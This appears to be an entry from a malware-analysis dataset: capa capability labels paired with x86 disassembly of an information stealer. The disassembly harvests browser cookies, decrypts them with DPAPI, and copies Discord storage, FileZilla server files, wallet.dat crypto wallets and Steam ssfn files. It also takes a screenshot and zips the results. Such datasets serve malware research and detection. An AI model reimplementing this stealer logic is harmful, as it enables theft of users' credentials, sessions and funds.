joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402776
Capabilities:
Copy file
Delete file
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x614
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x610], eax
cmp edi, 0xffffffff
jne 0x4027a0
xor eax, eax
jmp 0x4028a5
mov esi, 0x2ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x30b]
push ebx
push eax
mov byte [ebp - 0x30c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x60b]
push ebx
push eax
mov byte [ebp - 0x60c], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x60c]
push eax
push 0x300
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x30c]
push eax
push ebx
push ebx
push 0x8005
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x30c]
push eax
call esi
push 0x5d3ac8
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0x30c]
push eax
push dword [ebp - 0x610]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x610]
push eax
push 0x5d3acc
call fcn.0045c9e2
pop ecx
pop ecx
test eax, eax
jne 0x40288a
mov ebx, dword [ebp - 0x610]
push str.SELECT_host_key_path_is_secure__expires_utc_name_encrypted_value_FROM_cookies_
push edi
mov ecx, ebx
call fcn.004023ea
pop ecx
pop ecx
test eax, eax
jne 0x402883
push str.SELECT_host_key_path_secure__expires_utc_name_encrypted_value_FROM_cookies_
push edi
mov ecx, ebx
call fcn.004023ea
pop ecx
pop ecx
test eax, eax
jne 0x402883
push str.SELECT_host_key_path_secure__expires_utc_name_value_FROM_cookies_
push edi
mov ecx, ebx
call fcn.004023ea
pop ecx
pop ecx
push ebx
call fcn.0045b331
pop ecx
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x60c]
push eax
call esi
mov eax, dword [0x5e9a48]
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret
Function at 0x40358e
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xfff
xor esi, esi
lea eax, [ebp - 0x1013]
mov edi, edx
push esi
push eax
mov ebx, ecx
mov dword [ebp - 0x1018], edi
mov byte [ebp - 0x1014], 0
call fcn.0055bfc0
add esp, 0xc
cmp byte [ebx], 0x76
jne 0x403677
cmp byte [ebx + 1], 0x31
jne 0x403677
cmp byte [ebx + 2], 0x30
jne 0x403677
cmp dword [0x5e9a50], esi
je 0x4036bc
sub dword [ebp + 8], 3
push dword [ebp + 8]
lea eax, [ebx + 3]
push eax
lea eax, [ebp - 0x1014]
push eax
call fcn.0055bc50
xor eax, eax
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea esi, [ebp - 0x1014]
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x800
lea eax, [ebp - 0x1014]
push 0
push eax
movsd dword es:[edi], dword [esi]
call fcn.0055bfc0
sub dword [ebp + 8], 0xc
push dword [ebp + 8]
add ebx, 0xf
lea eax, [ebp - 0x1014]
push ebx
push eax
call fcn.0055bc50
push dword [ebp - 0x1018]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1014]
push eax
call fcn.0040346f
add esp, 0x34
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1018]
jmp 0x4036be
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1028], eax
lea eax, [ebp - 0x1020]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x1028]
push eax
mov dword [ebp - 0x1024], ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4036bc
push dword [ebp - 0x1020]
push dword [ebp - 0x101c]
push edi
call fcn.0055bc50
add esp, 0xc
mov eax, edi
jmp 0x4036be
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret

Function at 0x4036cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0xfff
mov dword [ebp - 0x1008], eax
lea eax, [ebp - 0x1003]
push 0
push eax
mov esi, ecx
mov byte [ebp - 0x1004], 0
call fcn.0055bfc0
push edi
push esi
lea eax, [ebp - 0x1004]
push str._s:__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x1c
push 0
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1004]
push eax
call esi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp - 0x1008]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call esi
push eax
push 0
push edi
call fcn.0055bfc0
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop esi
call fcn.0055a67a
leave
ret
Function at 0x403769
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x188]
sub esp, 0x208
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x184], eax
push 0x1ff
lea eax, [ebp - 0x7b]
push 0
push eax
mov byte [ebp - 0x7c], 0
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5d3d80
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x7c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0x184]
xor ecx, ebp
call fcn.0055a67a
add ebp, 0x188
leave
ret

Function at 0x40381f
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x403838
call dword [sym.imp.KERNEL32.dll_GetLastError]
leave
ret
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], esi
mov word [ebp - 0x10], cx
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x403868
Capabilities:
Check if file exists
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa54
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0xa50], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4038a1
xor eax, eax
jmp 0x403a33
mov ebx, 0x2ff
push ebx
lea eax, [esp + 0x75d]
push 0
push eax
mov byte [esp + 0x764], 0
call fcn.0055bfc0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0xc
push 0
push esi
call edi
test eax, eax
jne 0x4038e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4038e7
call fcn.0040381f
push 0
push esi
call edi
push dword [esp + 0x10]
lea eax, [esp + 0x75c]
push 0x5d3d84
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x75c]
push eax
call edi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x75c]
push eax
call edi
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x40389a
push ebx
lea eax, [esp + 0x15d]
push 0
push eax
mov byte [esp + 0x164], 0
call fcn.0055bfc0
push ebx
lea eax, [esp + 0x469]
push 0
push eax
mov byte [esp + 0x470], 0
call fcn.0055bfc0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
add esp, 0x18
test byte [esp + 0x18], 0x10
lea eax, [esp + 0x44]
je 0x4039d8
push 0x5d3854
push eax
call ebx
test eax, eax
je 0x403a0f
push 0x5d3858
lea eax, [esp + 0x48]
push eax
call ebx
test eax, eax
je 0x403a0f
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x160]
push eax
call edi
lea eax, [esp + 0x44]
push eax
push esi
lea eax, [esp + 0x460]
push eax
call edi
lea eax, [esp + 0x458]
push eax
lea eax, [esp + 0x15c]
push eax
call fcn.00403868
pop ecx
pop ecx
jmp 0x403a0f
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x160]
push eax
call edi
lea eax, [esp + 0x44]
push eax
push esi
lea eax, [esp + 0x460]
push eax
call edi
push 1
lea eax, [esp + 0x45c]
push eax
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403971
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [esp + 0xa5c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret
Function at 0x403daa
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x89c]
sub esp, 0x91c
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x898], eax
push ebx
push edi
xor ebx, ebx
push 0x7ff
lea eax, [ebp - 0x67]
push ebx
push eax
mov edi, ecx
mov byte [ebp - 0x68], bl
call fcn.0055bfc0
push 0xff
lea eax, [ebp + 0x799]
push ebx
push eax
mov byte [ebp + 0x798], bl
call fcn.0055bfc0
add esp, 0x18
mov edi, dword [edi]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
mov dword [ebp - 0x7c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x403f30
mov eax, dword [ebp - 0x74]
cmp eax, ebx
je 0x403f30
mov dword [esi + 8], eax
shl eax, 2
push eax
push 0x40
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esi], eax
cmp eax, ebx
je 0x403f30
mov dword [ebp - 0x70], ebx
cmp dword [ebp - 0x74], ebx
jbe 0x403f2a
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x78], 0xff
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x403f02
lea eax, [ebp - 0x80]
push eax
push 1
push ebx
push str.SoftwareMicrosoftInternet_ExplorerTypedURLs
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403ea9
push ebx
push ebx
lea eax, [ebp + 0x798]
push eax
lea eax, [ebp - 0x68]
push eax
lea edi, [ebp - 0x80]
call fcn.00403aa5
add esp, 0x10
jmp 0x403eab
xor eax, eax
cmp eax, ebx
je 0x403eeb
lea eax, [ebp + 0x798]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [ebp - 0x6c]
inc eax
push eax
push 0x40
shl edi, 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esi]
mov dword [edi + ecx], eax
mov eax, dword [esi]
add eax, edi
cmp dword [eax], ebx
je 0x403eeb
lea ecx, [ebp + 0x798]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc dword [ebp - 0x6c]
mov eax, dword [ebp - 0x78]
add eax, 2
push eax
lea eax, [ebp + 0x798]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
inc dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x74]
jb 0x403e4d
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
mov ecx, dword [ebp + 0x898]
pop edi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x89c
leave
ret
Function at 0x403f9f
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1158
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
jne 0x403fc9
xor eax, eax
jmp 0x4041ef
mov esi, 0x2ff
push esi
lea eax, [ebp - 0x100b]
push ebx
push eax
mov byte [ebp - 0x100c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x70b]
push ebx
push eax
mov byte [ebp - 0x70c], bl
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x70c]
push eax
mov dword [ebp - 0x1150], ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5d3850
push edi
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x114c]
push eax
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1154], eax
cmp eax, 0xffffffff
je 0x403fc2
lea ecx, [ebp - 0x114c]
push ecx
push eax
jmp 0x4041cf
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push 0x5d3854
lea eax, [ebp - 0x1120]
push eax
call edi
test eax, eax
je 0x4041c2
push 0x5d3858
lea eax, [ebp - 0x1120]
push eax
call edi
test eax, eax
je 0x4041c2
push esi
lea eax, [ebp - 0x40b]
push ebx
push eax
mov byte [ebp - 0x40c], bl
call fcn.0055bfc0
add esp, 0xc
test byte [ebp - 0x114c], 0x10
lea eax, [ebp - 0x1120]
push eax
lea eax, [ebp - 0x70c]
push eax
lea eax, [ebp - 0x40c]
push eax
je 0x4040d4
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x40c]
push eax
call fcn.00403f9f
add dword [ebp - 0x1150], eax
pop ecx
jmp 0x4041c2
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push str.wallet.dat
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4041c2
push esi
lea eax, [ebp - 0xa0b]
push ebx
push eax
mov byte [ebp - 0xa0c], bl
call fcn.0055bfc0
add esp, 0xc
push 0xff
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0xd0b]
push ebx
push eax
mov byte [ebp - 0xd0c], bl
call fcn.0055bfc0
lea eax, [ebp - 0x10c]
add esp, 0xc
push eax
lea edi, [ebp - 0x40c]
call fcn.00403f47
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0xd0c]
push str.Crypto_s
push eax
call edi
add esp, 0xc
push ebx
lea eax, [ebp - 0xd0c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [0x5ea25c]
lea eax, [ebp - 0x1120]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0xa0c]
push str.Crypto_s_s_d
push eax
call edi
add esp, 0x14
push ebx
lea eax, [ebp - 0xa0c]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
inc dword [ebp - 0x1150]
inc dword [0x5ea25c]
lea eax, [ebp - 0x114c]
push eax
push dword [ebp - 0x1154]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40404f
push dword [ebp - 0x1154]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x1150]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret
Function at 0x40484d
Capabilities:
Check if file exists
Create directory
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
cmp dword [0x5ea258], ebx
jne 0x404871
call fcn.00403a70
push 0x1ff
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.0055bfc0
add esp, 0xc
mov esi, str.DiscordLocal_Storage
push esi
push 0x5e9c58
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4048ed
push edi
push ebx
mov edi, str.Discord
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor ebx, ebx
lea eax, [ebp - 0x204]
push esi
inc ebx
push eax
mov dword [0x5ea260], ebx
call fcn.00403868
pop ecx
pop ecx
test eax, eax
je 0x4048e3
mov eax, ebx
jmp 0x4048ec
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret
Function at 0x404b7e
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
lea ebp, [esp - 0x28c]
sub esp, 0x30c
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x288], eax
push esi
xor esi, esi
cmp dword [0x5ea258], esi
jne 0x404ba9
call fcn.00403a70
push 0x2ff
lea eax, [ebp - 0x77]
push esi
push eax
mov dword [ebp - 0x7c], esi
mov byte [ebp - 0x78], 0
call fcn.0055bfc0
add esp, 0xc
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push str.filezilla.log
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80], eax
cmp eax, 0xffffffff
je 0x404c69
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push ebx
push edi
push str.FileZilla_recentservers.xml
mov ebx, 0x5e9c58
push ebx
lea eax, [ebp - 0x78]
push eax
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x78]
push eax
call edi
test eax, eax
je 0x404c20
push dword [ebp - 0x80]
lea ecx, [ebp - 0x78]
call fcn.004048fb
pop ecx
mov dword [ebp - 0x7c], eax
push 0x300
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.FileZilla_sitemanager.xml
push ebx
lea eax, [ebp - 0x78]
push eax
call esi
lea eax, [ebp - 0x78]
push eax
call edi
pop edi
pop ebx
test eax, eax
je 0x404c5a
push dword [ebp - 0x80]
lea ecx, [ebp - 0x78]
call fcn.004048fb
add dword [ebp - 0x7c], eax
pop ecx
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x7c], 0
jne 0x404c74
push str.filezilla.log
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp + 0x288]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.0055a67a
add ebp, 0x28c
leave
ret

Function at 0x404d0e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x7f
lea eax, [ebp - 0x83]
push ebx
push eax
mov byte [ebp - 0x84], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x88]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404d78
push edi
push ebx
push ebx
lea eax, [ebp - 0x84]
push eax
push str.ProductName
lea edi, [ebp - 0x88]
call fcn.00403aa5
add esp, 0x10
pop edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
pop ebx
test eax, eax
jne 0x404d90
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
je 0x404d97
mov eax, 0x5d4100
jmp 0x404d9c
mov eax, 0x5d4104
push eax
lea eax, [ebp - 0x84]
push eax
push str._s__s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
mov eax, esi
call fcn.0055a67a
leave
ret
Function at 0x405440
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push esi
push edi
lea eax, [esp + 0x20]
push eax
xor edi, edi
inc edi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
push ebx
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov dword [esp + 0x18], eax
call esi
push ebx
mov dword [esp + 0x14], eax
call esi
push dword [esp + 0x14]
mov esi, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [esp + 0x10]
mov dword [esp + 0x1c], eax
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [esp + 0x1c]
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push ebx
push ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
push esi
push ebx
push ebx
push dword [esp + 0x38]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x10]
push eax
push ebx
push dword [esp + 0x24]
mov dword [esp + 0x1c], ebx
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov eax, dword [esp + 0x10]
mov dword [esp + 0x40], eax
lea eax, [esp + 0x6c]
push eax
call fcn.00405381
mov dword [esp + 0x50], edi
mov esi, 0x5d3804
lea edi, [esp + 0x54]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x28]
pop ecx
mov dword [esp + 0x68], eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x70]
push eax
mov dword [esp + 0x6c], 4
mov dword [esp + 0x68], 1
mov dword [esp + 0x2c], 0x14
push str.screen.jpeg
push dword [esp + 0x1c]
call sub.gdiplus.dll_GdipSaveImageToFile
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x28]
push dword [esp + 0x4c]
call sub.gdiplus.dll_GdipSaveImageToStream
push dword [esp + 0x18]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [esp + 0x1c]
call esi
push dword [esp + 0x14]
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x40]
call sub.gdiplus.dll_GdipDisposeImage
push dword [esp + 0x28]
call sub.gdiplus.dll_GdiplusShutdown
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esp + 0x7c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret
Function at 0x4055bf
Capabilities:
Delete file
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call fcn.0055bfc0
add esp, 0xc
lea edi, [ebp - 0x204]
call fcn.00406693
mov esi, 0x5ea2e8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x5d42c8
push esi
call edi
push 0x5ea2bc
push esi
call edi
mov ebx, str.t.zip
push ebx
call fcn.0046161c
push 0
mov edi, eax
push esi
push edi
call fcn.0046179e
add esp, 0x10
call fcn.0046175a
lea ecx, [ebp - 0x204]
call fcn.004064d5
mov esi, 0x5ea2bc
call fcn.0040381f
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00405d10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret

Function at 0x40566d
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
push esi
push edi
mov esi, 0x1ff
xor ebx, ebx
push esi
lea eax, [esp + 0x155]
push ebx
push eax
mov byte [esp + 0x15c], bl
call fcn.0055bfc0
push esi
lea eax, [esp + 0x361]
push ebx
push eax
mov byte [esp + 0x368], bl
call fcn.0055bfc0
push 0x2ff
lea eax, [esp + 0x56d]
push ebx
push eax
mov byte [esp + 0x574], bl
call fcn.0055bfc0
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
add esp, 0x24
push 0x5d3850
mov edi, 0x5ea5e8
push edi
lea eax, [esp + 0x158]
push eax
call esi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x4057c6
lea ecx, [esp + 0x10]
push ecx
push eax
jmp 0x4057ae
push 0x5d3854
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4057a5
push 0x5d3858
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4057a5
test byte [esp + 0x10], 0x10
jne 0x4057a5
push str.ssfn
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4057a5
lea eax, [esp + 0x3c]
push eax
push edi
lea eax, [esp + 0x358]
push eax
call esi
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x554]
push str.Steam_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
lea eax, [esp + 0x554]
push eax
lea eax, [esp + 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405720
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret